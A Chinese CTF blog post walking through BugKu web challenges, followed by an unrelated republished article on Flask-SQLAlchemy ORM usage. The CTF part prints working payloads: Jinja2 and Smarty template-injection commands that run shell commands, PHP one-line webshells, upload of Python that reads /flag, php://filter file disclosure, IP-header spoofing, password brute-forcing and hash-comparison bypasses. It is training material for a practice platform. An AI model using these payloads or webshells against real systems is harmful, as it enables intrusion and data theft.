BugKu CTF Web
- 滑稽
- 计算器
- GET
- POST
- Simple_SSTI_1
- 矛盾
- eval
- 变量1
- Simple_SSTI_2
- alert
- 你必须让他停下
* - 方法一
- 方法二
- 方法三
- 网站被黑
- 头等舱
* - 方法一
- 方法二
- Flask_FileUpload
- 管理员系统
- game1
- bp
- 源代码
- source
- 社工-伪造
- 社工-初步收集
- 备份是个好习惯
- MD5
- 前女友
- 字符?正则?
- No one knows regex better than me
- 文件包含
- 文件包含2
* - 方法一
- 方法二
- Cookies
- 速度要快
- 聪明的php
滑稽
启动场景,打开链接,页面是一堆滑稽图片,查看网页源代码,flag在注释里面,去掉注释,提交即可。
计算器
打开链接,发现左边是一个加法运算,得到结果是119,但是输入框内只能输入1位数字,fn+f12(win10)打开审查代码,将输入框的maxlength改为3,输入结果,弹出flag。

; GET
打开链接,访问页面,发现是一个简单赋值判断,意思是提交get类型 what=flag 会输出flag,尝试使用url/?what=flag,得到flag,其中第一个flag是前面php代码echo出来的。

POST
与前一题类似,不过采用POST方式提交
1.利用火狐的HackBar,使用的V2,另一个似乎收费,勾选Post data,上面输入网站,下面输入what=flag即可。

2.命令行解决,开始没发现这个方法,后面又开了一次场景
curl命令使用:
>curl --help
Usage: curl [options...] <url>
-d, --data <data> HTTP POST data
-f, --fail Fail silently (no output at all) on HTTP errors
-h, --help <category> Get help for commands
-i, --include Include protocol response headers in the output
-o, --output <file> Write to file instead of stdout
-O, --remote-name Write output to a file named as the remote file
-s, --silent Silent mode
-T, --upload-file <file> Transfer local FILE to destination
-u, --user <user:password> Server user and password
-A, --user-agent <name> Send User-Agent <name> to server
-v, --verbose Make the operation more talkative
-V, --version Show version number and quit
This is not the full help, this menu is stripped into categories.
Use "--help category" to get an overview of all categories.
For all options use the manual or "--help all".
cmd命令: curl -d what=flag url

Simple_SSTI_1
打开标题,页面源代码如下:
[En]
Open the title, the source code of the page is as follows:

提示我们在flask里,经常设置一个secret_key变量,查阅config的用法,得知config也是Flask模版中的一个全局对象,它包含了所有应用程序的配置值,所以可以使用 config.xxx 来查看该对象的属性值。
所以,这道题最后的payload就是
/?flag={{config.SECRET_KEY}}
; 矛盾
查看网页源代码,发现是两层判断,首先判断flag是否为数字,不为数字可以进入循环,内层循环则是num=1,输出flag,涉及到php弱类型。
php转换规则是:若字符串以数字开头,则以开头字母为转换结果,若无则输出0。因此,此题选择num=1xxxx,x为任意字符,1a,1%,1aaa等等都可以。
参考文章:php弱类型详细介绍

; eval
打开网址,是php代码

尝试构造
/?hello=file('flag.php')
,拿到flag,运气比较好,一猜就对了,详细点的分析参考eval详细分析。
; 变量1
打开网站,提示说flag在变量里面,下面接着是php代码

构造
url/?args=GLOBALS
,可以看到夹杂在变量中的flag
得到了flag,我们可以通过显示的输出,验证一下,构造
/?args=ZFkwe3
,也可以得到flag
Simple_SSTI_2
参考文章
通过 {{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
读取系统文件,这里读取网站系统目录:
/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}

通过
{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}
读取app目录下的文件,发现第一个文件夹就有flag:/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}

通过
{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}
读取flag内容:/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}
; alert
打开网页,发现以下文本以循环方式弹出
[En]
Open the web page and find that the following text pops up in a loop

采用ctrl+u或者fn+f12查看网页源码,发现一行注释,为unicode编码

随便找个网站进行转码,得到flag
很多人说是转ASCII,但是我是转中文出来的,不懂

你必须让他停下
打开网页,页面不断刷新,打开源代码,找到加载图片的代码,联系页面显示,有几种方法
[En]
Open the web page, the page keeps refreshing, open the source code, find the code to load the picture, contact the page display, there are several ways
方法一
可以在页面显示图片的时候,立刻ctrl+u查看源代码,可看到flag;
方法二
直接查看源代码,在源代码页面按f5,多试几次,在图片为10.jpg的时候出现flag;
方法三
bp抓包;

; 网站被黑
打开网页,很好看的页面,看网页的源代码什么都看不到
[En]
Open the web page, very good-looking page, look at the source code of the web page can not see anything

但是通过题目tips我们可以得知网站被黑之后,黑客留下了后门
参考资料:webshell(网站后门)、Web后门知识详解
我们在网站的url地址栏中添加/index.php发现也可以成功访问主页面,因此我们可以推断出档当前使用的后端语言为PHP,所以可以使用后台扫描工具对网站进行扫描
采用的是御剑后台扫描,可以看到扫描出shell.php
后面bp抓包地址和这里不一样,原因是我扫描太久了,然后场景开太久了自己关了,又重新花金币开了一次,这次就不用扫描后台了,已经知道了shell.php,就只需要用bp抓包了

参考burp简单抓包教程进行抓包

抓取到数据包之后 我们可以点击Action中的Send to Intruder(发送到暴力破解模块),再Intruder-position添加变量,先clear清空变量,再选中测试的admin添加

再在payload页面添加爆破字典破解,字典在网上下载就行

点击右上角,start attack开始破解, 通过爆破返回的长度不同,我们可以判断出密码为hack,失败的有很多次所以有很多长度为1200的数据包,而成功就那么一个,所以我们可以判断出长度为1203是我们本次爆破的密码

回到网页,提交密码,得到flag

; 头等舱
网页上什么都没有,我忘了截屏。
[En]
There is nothing on the web page, and I forgot to take screenshots.
后来发现头等舱=头部,这个意思
方法一
fn+f12,右侧网络,看响应头

; 方法二
bp抓包,Action-send to repeater

在repeater下,send,flag就出来了。

Flask_FileUpload
打开网页,让我们上传图片。
[En]
Open the web page and let us upload the picture.

先查看源代码,看到要求上传文件是.jpg或者.png,并且注释提醒我们说文件会按照py代码运行,因此,我们可以尝试在文件中写入py代码,然后转化成图片格式上传

首先尝试查看目录中的文件,代码如下
[En]
First try to view the files in the directory, the code is as follows
import os
os.system('ls /')

可以看到有一个文件叫flag,因此接下来只需要查看flag内容就可以了,得到flag
import os
os.system('ls /')
os.system('cat /flag')

管理员系统
当我们打开网站时,我们被要求输入我们的帐户密码才能登录。
[En]
When we open the website, we are asked to enter our account password to log in.

看看网页的源代码,没有什么特别的
[En]
Look at the source code of the web page, there is nothing special

最下面很长的一串n的最后,跟了一个注释,应该是有用的,这里假如没用往右边拖动,没发现这个也没关系,后面看元素的时候也会发现

查阅知道这是base64编码,解码结果是test123,猜测是密码
base64解码

随意输入账号,提示IP禁止访问,fn+f12查看,这里也可以在里面看到上述注释,应该是只有管理员才能访问

看wp才知道,这时候就得利用http协议的xxf伪造管理员的ip地址访问
相关文章:XFF漏洞攻击原理及防御方案、HTTP X-Forwarded-For 介绍
用bp抓包,输入账号密码,接着随便在某行添加头标识,进行xxf伪造ip
X-Forwarded-For: 127.0.0.1

点击forward,如果账号密码正确,浏览器页面将出现flag
密码是上述的test123,账号是猜的admin,直接成功

; game1
打开网站,是一款常见的游戏,页面的源代码什么都看不到,试着玩一下,后面的房子掉得越来越快(据说这类问题跟分数有关,想想看)
[En]
Open the website, is a common game, the source code of the page can not see anything, try to play, behind the house falling faster and faster (it is said that this kind of question is related to scores, so think about it)
按fn+f12,点击Network,可以查看相关网络请求信息,里面有一条关于score的请求,可以看到我们刚刚玩的分数,还有一个 sign:zMMzAw==
,不难看出,是base64加密

同时,查看网页源代码搜索sign,有三条记录,同时验证了我们的想法:上述sign的值是base64加密后的,sign和score是对应的

将30用base64加密,发现对应的是sign的后面几位,多玩几次发现sign的组成是
zM + score + ==

用bp抓包,抓取含有score分数的,就是最后游戏要死的那一次再抓包,然后就可以抓到了,还可以进行改包

想设置大一点的score,于是我选择了999999

改包后,Action-send to repeater,然后send,就在Response那里得到了flag

bp
题目提示那里是弱密码top1000,z???,打开网站,是账号密码登录,所以提示指向的就是密码

bp抓包,输入密码123456

点击Action中的Send to Intruder(发送到暴力破解模块),再Intruder-position添加变量,先clear清空变量,再选中测试的123456添加

根据提示,去网上下载弱密码top1000,然后筛选出z开头的
(说实话,含z的就几十个,z开头的就几个,一个个试都可以试出来,但是还是按照步骤做了,万一没看到提示呢hhh)
添加字典,破解,返回相同长度,怀疑字典有问题,但试过了,知道密码在里面,所以继续分析
[En]
Add dictionary, crack, return the same length, suspected that there is a problem with the dictionary, but tried, know that the password is in it, so continue to analyze

查看响应包,观察内容,发现错误包里面都会返回一个JavaScript代码告知我们的密码有错误

所以我们通过Burpsuite的 Grep – Match (在响应中找出存在指定的内容的一项)过滤掉存在JavaScript代码中的
{code: 'bugku10000'}
的数据包
发现有一个不包含上述代码的密码。看一看内容,就会发现它真的和其他的不同。因此,他就是我们的密码。
[En]
It is found that there is a password that does not contain the above code. Look at the content and find that it is really different from the others. Therefore, he is our password.

用密码zxc123登录,得到flag

; 源代码
打开网页,有一个提交框

查看网页的源代码,您可以看到一些有用的信息
[En]
Looking at the source code of the web page, you can see some useful information

参考文章:URL编码中的escape、encodeURI和encodeURIComponent
对p1,p2进行解码

unescape() 函数可对通过 escape() 编码的字符串进行解码
根据 eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
将代码拼接,可看出我们应该在浏览器输入框输入 67d709b2b54aa2aa648cf6e87a7114f1

得到flag

; source
打开网站,显示如下

查看网页源代码,有一个flag,试着输入,是错的,果然,不可能这么简单

提示是: 我哥说渗透我只用linux环境,所以转战kali了,用kali自带的gobuster扫描目录(御剑我试过了,没扫出来,不知道为什么)
kali-gobuster安装使用、gobuster
使用如下命令
gobuster dir -u http://114.67.246.176:10491/ -w /usr/share/wordlists/dirb/common.txt

扫描大量文件并下载它们。
[En]
Scan a lot of files and download them.
wget -r http://114.67.246.176:14508/.git
查看目录,只有两个?

因为下的是.git,所以隐藏了,用
ls -a
查看,发现文件是存在的
然后查看日志,日志记录了文件的更新和提交,日志的位置在.git/logs这里,然后查看文件的更新日志
cd .git/logs
git reflog

然后我会逐一检查文件。
[En]
Then I will check the files one by one.
git show d256328
git show 13ce8d0
git show fdce35e
git show e0b8e8e
git show 40c6d51
git show fdce35e
git show d256328
git show e0b8e8e
然后在 git show 40c6d51
找到flag,开始看到一串英文,以为不是的,最后所有文件查看完了后发现这个最正常,提交上去也对了

参考文章:git信息泄露漏洞
社工-伪造
很简单,而且很有趣

登录一个qq,和第一个人聊天,我是直接问flag,然后回答说只告诉男朋友

点开小美qq空间,一些动态,然后看到那个表白的名叫小bug,猜测这个就是他男朋友

把登录qq改个名字,注意不是在网页改,是在自己qq改,或者不改,你去搜叫小bug的,用他账号登就行,反正不需要密码,改完了再登录问小美flag就行。

; 社工-初步收集
起初,网页无法打开,但过一会儿就会刷新。它是一个刷牙和钻头的网页吗?
[En]
At first, the web page can not be opened, but it will be refreshed after a while. Is it a web page that brushes and drills?
图片不传了,显示违规,反正打开什么样做题都能看到,往下滑,有个下载辅助的,然后下下来
下载网页提供的文件,下载时电脑会提示是木马,呃,就相信她,然后随便输入账号密码,提示上当受骗。
[En]
Download a file provided by the web page, when downloading, the computer will prompt it to be a Trojan horse, er, just trust her, and then casually enter the account password, prompting to be cheated.

尝试用wireshark抓包,然后?抓到了类似账号密码的东西

很眼熟,是base64加密了的,解密出来


猜它是帐号密码,帐号是电子邮件帐号。
[En]
Guess it is the account password, the account number is the email account.
用户名:bugkuku@163.com
密码:XSLROCPMNWWZQDZL
然后试着登录,我用pc端网页版的qq邮箱登录,一直提示”当前网络环境存在风险,推荐使用手机QQ扫码登录。你也可以更换网络环境后重试”,不知道为啥,最后用手机登了
登录信息已发布,但有用的电子邮件已被删除。非常无言
[En]
The login was posted, but the useful e-mail was deleted. Very speechless
前面的邮件是我们刚刚输入的账号的密码,比如我刚才输入的账号1和密码1,所以应该是为了收集我们的信息。
[En]
The previous email is the password of the account we just entered, such as the account number 1 and password 1 that I just entered, so it should be to collect our information.
后来我搜索了这个问题,然后我找到了相关的图片。我就在这里借吧。
[En]
Later, I searched this question, and then I found the relevant picture. I’ll borrow it here.

分析一下:
mara两天前刚过生日,并且现在20岁,发件日期是2021年2月8日,所以可以得出,mara是2001年2月6日出生的,所以最可能的密码就是20010206
扫描后台看看

顺着这个登录网页登录

登录成功,网页中找到了flag

参考文章:
常见社工方法以及如何防社工
社工思路
社工防御方法
备份是个好习惯
打开网站,显示如下,一堆数字,查询得知是md5加密,解密结果是 [空密码]
,似乎没啥用

要改变思维方式,用帝王之剑扫描背景,会得到以下结果
[En]
To change the way of thinking, scan the background with the imperial sword and get the following results

题目名是”备份是个好习惯”,因此发现.bak文件
tips:备份文件一般都是.bak或者.swp
输入网页,下载备份文件,用记事本或者notepad这样的软件打开,可以看到解题的关键代码

strstr() 函数搜索字符串在另一字符串中的第一次出现
例:查找 “Shanghai” 在 “I love Shanghai!” 中的第一次出现,并返回字符串的剩余部分:
echo strstr("I love Shanghai!","Shanghai");
?>
substr() 函数返回字符串的一部分
例:从字符串中返回 “world”:
echo substr("Hello world",6);
?>
str_replace() 函数以其他字符替换字符串中的一些字符
例:把字符串 “Hello world!” 中的字符 “world” 替换为 “Shanghai”:
echo str_replace("world","Shanghai","Hello world!");
?>
parse_str() 函数把查询字符串解析到变量中
整个函数的解释如下:
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
分析这段代码,可知:
网页URL应该有两个参数key1和key2,网页显示key1、key2的md5值,如果这俩值比较相等,则显示flag;
那么,如何绕过两个不同的值有相同的 MD5?
MD5值比较相等(PHP弱类型)
在PHP中,== 在进行比较的时候,会先将字符串类型转化成相同,再比较。注意,如果比较一个数字和字符串,或者比较涉及到数字内容的字符串时,则字符串会被转换成数值并按照数值来进行比较。
所以,本题是要两MD5值的字符格式要么全部是字符,要么前面数字是0。
我们都知道,MD5 加密是对字符串进行加密,那么如果我们传入的不是字符串,而是一个数组呢? 它没法进行加密,返回空,结果不就相等了吗?
众所周知,科学计数法是 e* ,那么要使两个数的值相等,就只能是 0e** ,所以只要找到两个加密之后是 0e 开头的数字,就可以绕过限制了
0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
参考文章:PHP处理0e开头md5时hash字符串漏洞前面之所以传入的是 kkeyey1 而不是 key1 ,是为了绕过 str_replace 这个函数的限制,这个函数将 key 替换为空,剩下的拼接在一起正好就成了 key1.
全是字符尝试如下

采用0e科学计数法尝试如下

MD5
打开网站,网页提示我们输入a?
网页源代码什么也没

构造网址
/?a
也无事发生,去搜题解,发现bugku平台忘记给源代码了?有点离谱,搜到的源代码如下
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
md5(‘QNKCDZO’)的hash值为 0e830400451993494058024219903391,和上一题类似,刚好是用一个加密之后是 0e 开头的数字,就可以绕过限制了

前女友
打开网页,php是世界上最好的语言,属于是整活了

查看网页源代码,可以在源代码中点击女朋友发来的链接。
[En]
Check the source code of the web page and find that the link sent by your girlfriend can be clicked in the source code.

打开code.txt,是一段代码

代码分析很简单
v1不能等于v2,但是md5要相等,并且v3要等于flag,满足这几个条件就可以获取flag
其中,满足第一个条件可以和前几题类似,利用md5的0e绕过解题,同时也可以利用数组绕过
如果传入md5函数的参数为数组类型,则返回null,null==null,因此可以通过数组可以绕过md5判断
第二个条件满足需要v3=flag,但是flag我们肯定不知道,所以也要绕过,又因为strcmp()无法解析数组,所以可以使用数组绕过
http://114.67.175.224:13247/?v1[]=1&v2[]=2&v3[]=1

http://114.67.175.224:13247/?v1=QNKCDZO&v2=240610708&v3[]=1

; 字符?正则?
打开网页,有如下源代码

通过分析代码可知,只要输入的id符合正则匹配,就可以得到flag
/ key . * key . {4,7} key:\/ . \/ (.*key) [a-z] [[:punct:]] /i
key+任意单个字符+前面的字符出现零次或多次+key+任意单个字符(出现4~7次)+key:/+任意单个字符+/+(任意单个字符+前面的字符出现零次或多次+key)+a~z中任意一个+!"
构造payload /?id=keykeyaaaaakey:/a/keya!

参考文章:php preg match i,PHP中preg_match正则表达式 /i, /is, /s, /isU等含义
No one knows regex better than me
打开网页,是一堆源代码

分析如下
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){
$key=$second;
if(preg_match("/\.\.|flag/",$key)){
die("Noooood hacker!");
}else{
$third=$first;
if(preg_match("/\\|\056\160\150\x70/i",$third)){
$end=substr($third,5);
highlight_file(base64_decode($zero).$end);
}
}
}
else{
highlight_file(__FILE__);
}
second里要存在 Yeedo|wants|a|girl|friend|or|a|flag
,而second=zero.first,所以zero=flag
key=second=zero.first,并且不能存在 \.\.|flag
,也就是说zero不能=flag,但下面代码 highlight_file(base64_decode($zero).$end)
,会进行base64_decode,所以直接将flag进行base64加密得到ZmxhZw==
那么zero=ZmxhZw==
之后third=first,并且要匹配 \\|\056\160\150\x70
, \056\160\150\x70
是三个八进制和一个16进制
056 – 46 – .
160 – 112 – p
150 – 104 – h
70 – 112 – p
\|转义成|后,又转义了一次,最后变成|。转换成10进制,再转成ascii码后即为|.php
则first的值为|.php
但 $end=substr($third,5);
,故需要在|.php前面加上4个字符,来绕过substr,不过这4个字符要符合 Yeedo|wants|a|girl|friend|or|a|flag
,这里面的(可以采取aaaa或者oror或者Flag或者girl ),这里用Flag的原因是不能匹配 \.\.|flag
,所以完整的payload为
根据上述分析构造payload url/?zero=ZmxhZw==&first=aaaa|.php

文件包含
打开网站,出现click me?,点击试一试

新页面显示index.php,且url上出现
?file=show.php

那么自然而然的想到试试
?file=index.php
,不过好像不太行
之后就想到文件包含可以使用PHP伪协议,php://filter可以获取指定文件源码,当它与包含函数结合时,php://filter流会被当作php文件执行,所以我们一般对其进行编码,让其不执行,从而导致任意文件读取。
获取源码代码:?file=php://filter/resource=xxx.php
通常获取源代码时,伪协议将xxx.php当文件执行,使得很多信息往往不能直接显示在浏览器页面上,通常使用base64编码后再显示
?file=php://filter/read=convert.base64-encode/resource=index.php
构造 /?file=php://filter/read=convert.base64-encode/resource=show.php

通过Base64解码后发现内容就是index.php,说明show.php没有隐藏信息
再在url后改为
/?file=php://filter/read=convert.base64-encode/resource=index.php
,获得一串编码
将其进行base64解密,得到代码,以及注释里的flag

; 文件包含2
打开网页,什么也没有,注意到上面网址是 .../index.php?file=hello.php

查看网页源代码,最上面有个upload.php

尝试构造
?file=upload.php
,可以看到如下页面
方法一
写一个图片木马
<script language=php>eval($_POST['shell']);</script>
然后将其转换为符合网页要求的图片,上传后,再到网页提示的地址查找空白页面?
[En]
Then convert it to a picture that meets the requirements of the web page, upload it, and then go to the address prompted by the web page to find a blank page?

用中国蚂蚁之剑来连接。具体的连接设置如图所示
[En]
Use Chinese ant sword to connect. The specific connection settings are shown in the figure

连接成功后,在目录里面找flag,flag在根目录下面

方法二
利用burp suite上传一句话木马
a.不需要上传什么文件,直接upload然后抓包
b.发送到reperter里面,传入一句话木马 <?=eval($_POST['pass']);>
,格式大概如下,我没试过,应该是可以 的

c.在request修改完点go会在response返显,复制resonse返显信息修改url,再用中国蚁剑连接
还有一个方法,我试过,但是不太行
a.新建文件写入<script language="php">system("ls")</script>
后另存为jpg 格式
b.通过url访问刚刚上传的图片
按照写wp的作者来说,这里应该会显示有关flag的txt文件的,但是我这里没有,可能是隐藏了?
; Cookies
打开网页,它是一个英文字符串,它看起来不像任何加密文本,看看网页的源代码,什么都没有
[En]
Open the web page, it is a string of English, it does not look like any encrypted text, look at the source code of the web page, there is nothing

发现url上面有一个filename=?,看起来是base64加密,解密后发现是keys.txt

尝试用 filename访问index.php,将index.php进行base64编码
line参数应该是行数,试一下 line=1

line=2

line=3

一个个试太麻烦,用脚本将index.php的源码读取出来
import requests
a=30
for i in range(a):
url="http://114.67.175.224:11217/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print (s.text)
运行python脚本需要安装requests模块,我在安装过程中出现的错误以及解决参考:python找不到requests模块
运行脚本,得到如下输出

整理成完整代码如下
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='')
header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
分析源码,前面判断传参,后面判断cookie必须满足margin=margin才能访问keys.php

执行后页面是空白的,开始还以为错了,查看网页源代码,flag就出来了

速度要快
打开网页,什么也没

查看网页源代码

让我们用post,那就用burp抓包看看

找到了base64编码的flag,解码

但是当我们再send一次发现flag变了,所以只能用脚本完成了
import requests
import base64
url="http://114.67.175.224:19791/"
r=requests.session()
headers=r.get(url).headers
mid=base64.b64decode(headers['flag'])
mid=mid.decode()
flag = base64.b64decode(mid.split(':')[1])
data={'margin':flag}
print (r.post(url,data).text)
运行脚本,得到flag

聪明的php
打开网页,让我们随机传递一个参数
[En]
Open the web page and let’s pass a parameter at random

那就按照提示,随便传一个,然后出现了一些代码,下面显示了传入的参数a

看代码好像,没什么用,但是注意到了smarty,猜测是php模板注入的smarty注入
参考文章:模板注入漏洞汇总
按照下面的图来验证这个是不是smarty注入



验证了我们的猜测是smarty注入
常用payload:smary中的{if}标签中可以执行的php语句
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../../flag')}{/if}
测试使用上述payload,过滤了很多函数,使用system()函数就没什么输出

发现passthru()函数没有被过滤,使用
?a={if passthru("ls /")}{/if}

没有发现flag,但是发现_5502文件,读取这个文件,cat被过滤了,用的是more
?a={if passthru("more /_12016 ")}{/if}
,得到flag

Original: https://blog.csdn.net/qq_51110485/article/details/125496889
Author: 橘向阳
Title: BugKu CTF Web
相关阅读
Title: flask中ORM的使用
目录
1.ORM是什么:对象关系的映射
它的作用是在关系型数据库和对象之间作一个映射,这样,我们在具体的操作数据库的时候,就不需要再去和复杂的SQL语句打交道,只要像平时操作对象一样操作它就可以了 。
那什么是SQL:
SQL是存取数据以及查询、更新和管理关系数据库系统。
2.flask-sqlalchemy介绍及安装:
安装: pip install -U Flask-SQLALchemy
源码安装: python setup.py install
安装依赖: pip install mysqlclient
3.设计数据库模型并创建表
(1).flask-sqlalchemy配置:
数据库URI:SQLALCHEMY_DATABASE_URI
(数据库URI它是统一资源标识符是一个用于标识某一互联网资源名称的字符串)
MySQL数据库URI参数格式:
mysql://scott:tiger@localhost/mtdatatabase
mysql:数据库类型
scott:tiger@localhost:用户名/密码/ip
mtdatatabase:MySQL数据库名称
引入:
from flask-sqlalchemy import SQLAIchemy
(2).绑定到Flask对象:
db = SQLAIchemy(app)
(3).ORM模型创建:
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
primary_key=True 是主键的意思
(4).指定表的名称:
tablename == ‘haha_user’
(5).手动创建数据库:
创建表:db.create_all(bind=’db1′)
(6).删除表:
db.drop_all()
(7).ORM模型字段类型支持
Integer/Float 整数/浮点数String (size) 有长度限制的字符串Text 一些较长的文本(如:文章详情/商品详情)DateTime 表示为python datetime 对象的 时间和日期Boolean 存储布尔值Pckle Type 储存一个持久化的Python对象LargeBinary 储存一个任意大的二进制数据
(8). 数据库模型设计:
一对多关系,外键关联:
就好比一个客户他有很多个收货地址,客户与地址之间的关系就叫一对多的关系
addresses = db.relationship(‘UserAddress’,backref=address’,lazy=True)
user = db.relationship('User', backref=db.backref('address', lazt=True))
他不会在表格里面显示一行,就是为了反向引用方便。
想要关联哪个表的什么数据用db.Foreignkey(‘表的名称’.数据)

4.使用ORM插入,修改,删除数据
新增/修改数据
1.构造ORM模型对象
user = User(‘admin’,admin@example.com)
2.添加到db.session(备注:可添多个对象)
db.session.add(user)
3.提交到数据库
db.session.commit()
物理删除数据:
查询ORM模型对象
user = User.query.filter_by(username=’zhangsan’).first()
添加到db.session
db.session.delete(user)
提交到数据库:
db.session.commit()
5.使用ORM查询数据并展示
返回结果(list)
查询所有的数据:User.query.all()
按条件查询: User.query_filter_by(username=’zahngsan’)
User.query.filter(User.nickname.endswith(‘三’).all()
排序: User.query.order_by(User.username)
查询TOP 10 User.query.limit(10).all()
返回单个ORM对象:
根据pk查询: User.query.get(1)
获取第一条记录: User.query.first()
多表关联查询: db.session.query(User).join(Address)
User.query.join(Address)
分页:
方式一:使用offset 和 limit
.offser(offset).limit(limit)
方式二: 使用paginate分页支持
.paginate(page=2,per_page=4) 返回Pagination的对象
查询用户信:User.query
has_prev/has_next是否有上一页/下一页item当前页的数据列表prev_num/next_num上一页/下一页的页码total总记录数page当前页码pages总页数
分页操作的实际应用:


Original: https://blog.csdn.net/weixin_72247804/article/details/127057814
Author: 爱喝可乐的宝
Title: flask中ORM的使用
原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/311072/
转载文章受原作者版权保护。转载请注明原作者出处!